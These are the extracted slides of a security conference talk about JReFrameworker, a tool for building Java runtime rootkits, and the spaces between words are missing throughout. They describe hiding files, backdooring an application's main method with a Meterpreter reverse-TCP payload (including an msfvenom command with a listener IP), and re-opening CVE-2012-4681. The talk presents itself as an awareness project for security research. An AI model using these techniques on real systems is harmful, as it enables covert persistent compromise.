+ All Categories
Home > Documents > JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever!...

JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever!...

Date post: 30-Sep-2020
Category:
Upload: others
View: 1 times
Download: 0 times
Share this document with a friend
43
JReFrameworker: One Year Later ben-holland.com (daedared) jreframeworker.com
Transcript
Page 1: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

JReFrameworker:OneYearLaterben-holland.com (daedared)

jreframeworker.com

Page 2: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

I♥ Derbycon

• Derbycon 3.0:Myfirstconever!Lovedit.• Derbycon 4.0:ABugorMalware?Catastrophicconsequenceseitherway.• Howwouldyoudetectthedifferencebetweenaspellcheckerandaspellwrecker (invertedspellchecker)?

Page 3: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

I♥ Derbycon

• Derbycon 3.0:Myfirstconever!Lovedit.• Derbycon 4.0:ABugorMalware?Catastrophicconsequenceseitherway.

Page 4: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

I♥ Derbycon

• Derbycon 3.0:Myfirstconever!Lovedit.• Derbycon 4.0:ABugorMalware?Catastrophicconsequenceseitherway.• Howwouldyoudetectthedifferencebetweenaspellcheckerandaspellwrecker (invertedspellchecker)?• ManagedCodeRootkitswerepresentedforC#andJavain2010,butnoreliabletoolsexistedformetoinjectmypayloadintheJVML

Page 5: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

I♥ Derbycon

• Derbycon 3.0:Myfirstconever!Lovedit.• Derbycon 4.0:ABugorMalware?Catastrophicconsequenceseitherway.• DEFCON24:DevelopingManagedCodeRootkitsfortheJavaRuntimeEnvironment.• Derbycon 7.0:JReFrameworker:OneYearLater.• BringingitfullcircleJ

Page 6: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

Overview(showallthedemos!)

• ManagedCodeRootkits• Demo1:HelloWorld

• JReFrameworker• Demo2:HiddenFileRootkit

• PayloadDropper• Demo3:PostExploitationwithMetasploit

• AdvancedPersistence• Demo4:SurvivingJavaUpdates

• IncrementalBuilding• Demo5:RestoringCVE-2012-4681

• ProgramAnalysisIntegrations• Demo6:AutomaticBackdoors• Demo7:“MinorityReport”Development• Demo8:ContextAwareMalware

Page 7: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

Demo1:EvilJava?

Page 8: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

EvilRuntimeLibraries(.jarfiles)

ManagedCodeLanguages

JavaSourceCode(.javafiles)

JavaCompiler

JavaBytecode(.classfiles)

JavaApplication(.jarfile)

OperatingSystem(Windows,Mac,Linux)

JavaVirtualMachine

RuntimeLibraries(.jarfiles)

JavaApplication(.jarfile)

WriteOnce,RunAnywhere?Compatibility?

JavaVirtualMachine

Page 9: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

EvilRuntimeLibraries(.jarfiles)

ManagedCodeRootkits

JavaSourceCode(.javafiles)

JavaCompiler

JavaBytecode(.classfiles)

JavaApplication(.jarfile)

OperatingSystem(Windows,Mac,Linux)

JavaVirtualMachine

JavaApplication(.jarfile)

WriteOnce,RunAnywhere?

Page 10: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

Background

• Notreallyanewidea…• Manipulatingalibraryaffectsallapplicationsusingthelibrary• HadpreviouslybeendemonstratedonC#andJava(2010)• RecentsurgeinsimilarresearchforPythonlibraries

• Outofsightoutofmind• Codereviews/auditsdon’ttypicallyauditruntimes• Maybeoverlookedbyforensicinvestigators

• JVMruntimeisfullyfeatured• ObjectOrientedprogramming• Platformindependentportablerootkits(ifdoneright)

• DEFCON24:JReFrameworker(initialrelease)• Lowersthebarriertoentry!(developMCRsinJavasource,minimalskillz required)• Anawarenessprojectformanagedcoderootkits

Page 11: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

ModifyingtheRuntimeHowcanwemodifytheruntimeforgood evilpurposes?

BytecodeIntermediate

Representations DecompiledSource

Difficult StillTricky IdealbutUnreliable

Page 12: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

BasicIdea:Overview

• Itiseasytowritesourcecode• Itseasytoconvertsourcecodetobytecode(compiler!)• Itsrelativelyeasytoinject,replace,merge,deletewholemethods

• Source:http://asm.ow2.org/current/asm-transformations.pdf

• Aclasscontainsdeclarationsoffieldsandmethods• All“code”(assignments,methodcalls,etc.)mustbeinamethodbody• Ifwecandeclarefieldsandadd/replace/merge/deletemethodswecancovermostbytecodemanipulationusecasesbyonlywritingsourcecode• Tradeoff:Makingsmalleditswithinamethodrequiresrewritingthewholemethod…

Page 13: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

BasicIdea:AddCode

UserClass OriginalClass

Class:java.io.File

Method:exists(){...}

Method:getName(){...}

Class:example.MyFileextendsjava.io.File

AddMethod:foo(){...}

Method:foo(){...}

UnavailableSourceUserSource

Page 14: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

BasicIdea:ReplaceCode

UserClass OriginalClass

Class:java.io.File

Method:exists(){...}

Method:getName(){...}

Class:example.MyFileextendsjava.io.File

AddMethod:exists(){...}

UnavailableSourceUserSource

Page 15: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

BasicIdea:DeleteCode

UserClass OriginalClass

Class:java.io.File

Method:exists(){...}

Method:getName(){...}

Class:example.MyFileextendsjava.io.File

DeleteMethod:exists();

UnavailableSourceUserSource

Page 16: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

BasicIdea:Merge(hook)Code

UserClass OriginalClass

Class:java.io.File

Method:exists(){...}

Method:exists(){//hookbeforeherereturnold_exists();}

Class:example.MyFileextendsjava.io.File

MergeMethod:exists(){//hookbeforeherereturnsuper.exists();}

UnavailableSourceUserSource

Method:old_exists(){...}

Page 17: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

JReFrameworker

• WriterootkitsinJavasource!• Modificationbehaviorsdefinedwithcodeannotations• DevelopanddebuginEclipseIDE• Exploit"modules"areEclipseJavaprojects• Exportablepayloaddroppers• Bytecode injectionsarecomputedonthefly

• Free+OpenSource(MITLicense):jreframeworker.com

JReFrameworker

Page 18: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

JReFrameworkerAnnotations

• JavaAnnotations:“syntacticmetadatathatcanbeaddedto Java sourcecode”(Wikipedia)• 3TypesofAnnotations• Sourcecodeonly(doesnotendupincompiledbinary)• Codeonly(includedinbytecode,butareignoredbyJVM)• Runtime(includedinbytecodeandareavailablethroughreflectionatruntime)

• Idea:Useannotationstotemporarilymarkpartsoftheusermadebytecodeforthebytecodemanipulationengine

Page 19: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

BasicJReFrameworkerAnnotations

(InsertsorReplaces) (PreservesandReplaces)

Page 20: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

Demo2:HiddenFileModule

• JReFrameworker• DevelopanddebugmodificationsinafamiliarIDE(Eclipse)• Specializedbytecodemanipulationengine

• JReFrameworkerModules• EclipseprojectofannotatedJavasourcecode• Alistoftargetruntimes/librariestobemodified• Canbeusedtoexportapayloaddroppertocomputeontheflybytecodeinjections

Page 21: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

Demo3:Post-Exploitation

• Wehavedevelopedandtestedourhiddenfilemodule.Howdowedeploythechangetothevictim’sruntime?• Mustberoot/administratorinmostcases(dependingwheretheruntimeisinstalled)• Example:C:\ProgramFiles(x86)\Java\jre8

Page 22: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

RestofThisTalk:JReFrameworkerNewShiny

• Improvementstomanipulationcapabilities• Improvementstodevelopmentworkflow• Improvementstopostexploitationprocess• Improvementstopersistence• Progresstowardsautomaticmanipulations

JReFrameworker

Page 23: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

BasicBugFixes/Improvements• JarResources

• Preservingstartupconfigurationsandresourcefiles• DealingwithsignedJars(unsign ifnecessary,resignwithkeystore)

• Annotations• Supportformultipleannotations• Replacedmethodsarenowpurgedcorrectly• @MergeMethod annotationsupportforstaticmethods

• Modules• Symbolic/relativepaths(portableprojects)• Supportformanipulatingapplications

• Generalworkflowissues• Modificationstoruntimeandapplicationsarenowconceptuallythesame

• RegressionTesting(JUnit)!• Doublesasworkingexamplesofannotations• Helptopreventfuturebugs

Page 24: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

DropperImprovements

Page 25: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

Demo4:SurvivingJavaUpdates

• Challenge:AnewversionofJavagetsreleased.Theusersrunstheinstallerandinstallsanewdefaultruntime.Nowwhat?

Page 26: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

//removescom.example.MyClass fromtarget@PurgeTypepublicclassBuildextendsMyClass {… }

AnnotationImprovements(Purge)

PurgeType @PurgeTypeMethod @PurgeMethodField @PurgeField

• WhatifIjustwantsomethinggone?

//removescom.example.MyClass fromtarget@PurgeType(type="com.example.MyClass")publicclassBuild{… }

Page 27: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

AnnotationImprovements(Visibility/Finality)

Visibility FinalityType @DefineTypeVisibility @DefineTypeFinalityMethod @DefineMethodVisibility @DefineMethodFinalityField @DefineFieldVisibility @DefineFieldFinality

• WhatifIcan’taccessatype/method/field?

//removesfinalmodifierfromcom.example.MyUnextensibleClass@DefineTypeFinality(type="com.example.MyUnextensibleClass",finality=false)publicclassPrebuild{}

Page 28: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

AnnotationImprovements(BuildPhases)

• WhatifIneedtomakechangesinsteps?• Phasesprogressfromphase1ton

//phase1removesfinalmodifierfromcom.example.MyUnextensibleClass@DefineTypeFinality(phase=1,type="com.example.MyUnextensibleClass",finality=false)publicclassPrebuild{}

//phase2definesatypethatextendsapreviouslyfinaltype@MergeType(phase=2)publicclassMyClass extendsMyUnextensibleClass {… }//compileerroruntilphase1completes

Page 29: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

IncrementalBuilder

• CleanProject/FullBuild1. Letbuildphasei=12. Compileallsourceswithoutcompilererrors3. Manipulatetargetforphasei4. Updateclasspath andrecompilesources5. Repeatfromstep2

• IncrementalBuilder1. Foreachadd,modify,deletefilechangeset

• Revertbuildphasetofirstimpactedbuildphase2. Rebuildfromrevertedbuildphaseandrepeatuntilnonewchanges

Page 30: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

Derbycon 4.0:RefactoringCVE-2012-4681

• “AllowsremoteattackerstoexecutearbitrarycodeviaacraftedappletthatbypassesSecurityManager restrictions…”• CVECreatedAugust27th2012(~2yearsold…)• github.com/benjholla/CVE-2012-4681-Armoring

Page 31: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

DEFCON24:RefactoringCVE-2012-4681

• “AllowsremoteattackerstoexecutearbitrarycodeviaacraftedappletthatbypassesSecurityManager restrictions…”• CVECreatedAugust27th2012(~4yearsold!)• github.com/benjholla/CVE-2012-4681-Armoring

Page 32: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

Demo5:The“ReverseBug”Patch

• FixedinJava7update7• “Unfixing”CVE-2012-4681inJava8• com.sun.beans.finder.ClassFinder

• RemovecallstoReflectUtil.checkPackageAccess(…)• com.sun.beans.finder.MethodFinder

• RemovecallstoReflectUtil.isPackageAccessible(…)• sun.awt.SunToolkit

• RestoregetField(...)method

• Unobfuscated vulnerability gets0/56onVirusTotal

Page 33: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

Demo6:TowardsAutomaticBackdoors

BasicSteps:1. Findandhookmainmethod2. Spawnanewthread3. ExecuteMeterpreterreverseTCPJavapayload

Page 34: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

Demo6:TowardsAutomaticBackdoors

• Phase1:AddMeterpreterJavaPayload• https://github.com/rapid7/metasploit-payloads/blob/master/java/javapayload/src/main/java/metasploit/Payload.java

Page 35: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

Demo6:TowardsAutomaticBackdoors

• Phase2:Defineanewthreadforpayloadandconfigureproperties• Equivalent:msfvenom -fraw-pjava/meterpreter/reverse_tcpLHOST=172.16.189.167LPORT=4444-o~/Desktop/meterpreter.jar

Page 36: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

Demo6:TowardsAutomaticBackdoors

• Phase3:Spawnnewthreadwithpayloadandcalloriginalapplicationentrypoint• Works,butseemstobeanissuewithjavameterpreter payloadinlatestrelease• https://github.com/rapid7/meterpreter/issues/179

• Thisentireprocesscaneasilybeautomated,butisthisreallythatinteresting/useful?

Onlyvariable

Page 37: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

Demo7:VisuallyManipulatingApplications

• NewFeatures• JavaPoetsourcecodegeneration(https://github.com/square/javapoet)• Atlasprogramanalysis(http://www.ensoftcorp.com/atlas/)

• Goal:HardeningJD-GUIdecompiler soitwon’tdecompileitself• Challenge:Howdowefindtheparticularcodewewanttomanipulate?• Challenge:JD-GUIisreleasedunderGPLv3License,butsourceisnotpublic…<snarkycommentabouthavingadecompiler>

Page 38: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

Demo8:ContextAwareMalware

• Insteadofmodifyingtheapplication,couldwemodifytheJVMruntimetopreventJD-GUIfromdecompilingruntime?

• Idea:Usereflection,stacktraces,examinationofcallerparameters,etc.todeterminehowtobehaveforagivencallingcontext.• Similartoaspectorientprogramming• Flashback:DEFCONJReFrameworkerDOOMDemo

Page 39: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

Demo9:KitchenSink

ContrivedScenario:• JavaDeveloper’sEclipseisactingweird…helpingmaketypos…pixelatingimages…• Suspectrt.jar iscompromised• Decompilert.jar anddecompiler crashes• Decompiledecompiler anddecompiler says:Nope.• GetsfrustratedandupdatesJavatolatestversion• Problemssomehowpersist…• Goesinsane• Downloadsanewprogramminglanguages…storyendshere?

Page 40: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

ProjectRoadmap

• StudysupportingotherJVMlanguages(JVMBytecodeisn’tjustJava)• JVMSpecific:Java,Scala,Clojure,Groovy,Ceylon,Fortess,Gosu,Kotlin…• PortedLanguages:JRuby,Jython,Smalltalk,Ada,Scheme,REXX,Prolog,Pascal,CommonLISP…• Interestingwork:https://github.com/Storyyeller/Krakatau

Page 41: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

ProjectRoadmap

• Findandfixthebugs!• Betterprogramanalysisintegrations• CodeGenerationWizards

• Moreinterestingmodules• Youcanhelpwiththis!• https://github.com/JReFrameworker/modules

• Androidsupportisalreadyinthepipeline• APKà DEXà JARà JReFrameworkerà JARà DEXà APK

Page 42: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

ToolRelease

• Tool:https://jreframeworker.com/install• MITLicense• 100%OpenSource• EclipsePluginwithUpdateSite(Eclipse>Help>InstallNewPlugins…)

• Tutorials:https://jreframeworker.com/tutorials• Walkthroughsofhelloworld,hiddenfile,andMetasploit payloaddeployment

• Giveitatry.Sendmefeedback!• Support:https://github.com/JReFrameworker/JReFrameworker/issues• Email:[email protected]

Page 43: JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever! Loved it. •Derbycon4.0: A Bug or Malware?Catastrophic consequences either way. •How

ThankYou!

• Questions?

ben-holland.comjreframeworker.com


Recommended